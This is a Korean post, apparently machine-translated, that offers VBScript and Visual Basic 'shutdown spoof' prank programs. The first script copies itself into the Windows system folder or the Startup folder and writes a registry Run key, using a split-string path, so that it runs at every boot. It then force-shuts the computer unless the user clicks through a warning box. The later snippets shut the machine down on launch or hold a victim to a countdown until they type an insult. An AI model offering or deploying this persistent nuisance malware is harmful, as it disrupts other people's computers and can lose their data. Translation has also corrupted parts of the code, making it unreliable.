VB 종료 스푸핑 애플릿 1:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) 문자열 ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) 그런 다음 Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All)를 호출합니다. Users/Start Menu/Programs/Startup/wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread(str)if strr="" thenc.Copy("C:/문서 및 설정/모든 사용자/시작 메뉴/프로그램/시작/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("경고: 내 컴퓨터를 만지지 마세요! " & Chr(13) & Chr(10) & "확인 -> 다음부터 먼저 허가를 요청하겠습니다" & Chr(10) & "취소 -> 마음에 드셔도 상관없습니다!", 4145, "MsgBox 예시")If r = 1 Then if s= "시작" thenset f = fs.GetFile("C:/문서 및 설정/모든 사용자/시작 메뉴/프로그램/시작/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub
위의 내용은 조금 복잡하므로 조금 더 간단하게 해보겠습니다.
코드는 다음과 같습니다:
Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private 선언 함수 ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As LongPrivate Sub Form_Load() 호출 ExitWindowsEx(EWX_SHUTDOWN, 0)End Sub
더 간단한 글쓰기 방법을 사용할 수 있는 경우
다음 코드를 입력하면 됩니다.
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem 뒤에 있는 -t 0은 0초 안에 종료됨을 의미합니다. -t 0을 제거하면 기본값은 30초 안에 종료됩니다.
방법 3:
Private Sub Command1_Click()If Text1 = "나는 돼지입니다" ThenShell "cmd.exe /c shutdown -a" MsgBox "하하 놔주세요!", 64, "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "하하 당신 속으면 돼지라고 말해주세요. 그렇지 않으면 1분 안에 컴퓨터가 종료됩니다.", 48, "Prompt" Shell "cmd.exe /c shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(정수로 취소)g = MsgBox("닫고 싶나요???", vbOKCancel + vbQuestion, "창을 닫으세요")If g = vbOK ThenCancel = 11MsgBox "하하, 할 수 있어요 닫으시겠어요? 날 버리고 돼지라 불러요", 64, "Prompt"End IfIf g = 2 ThenCancel = 11End IfEnd 보결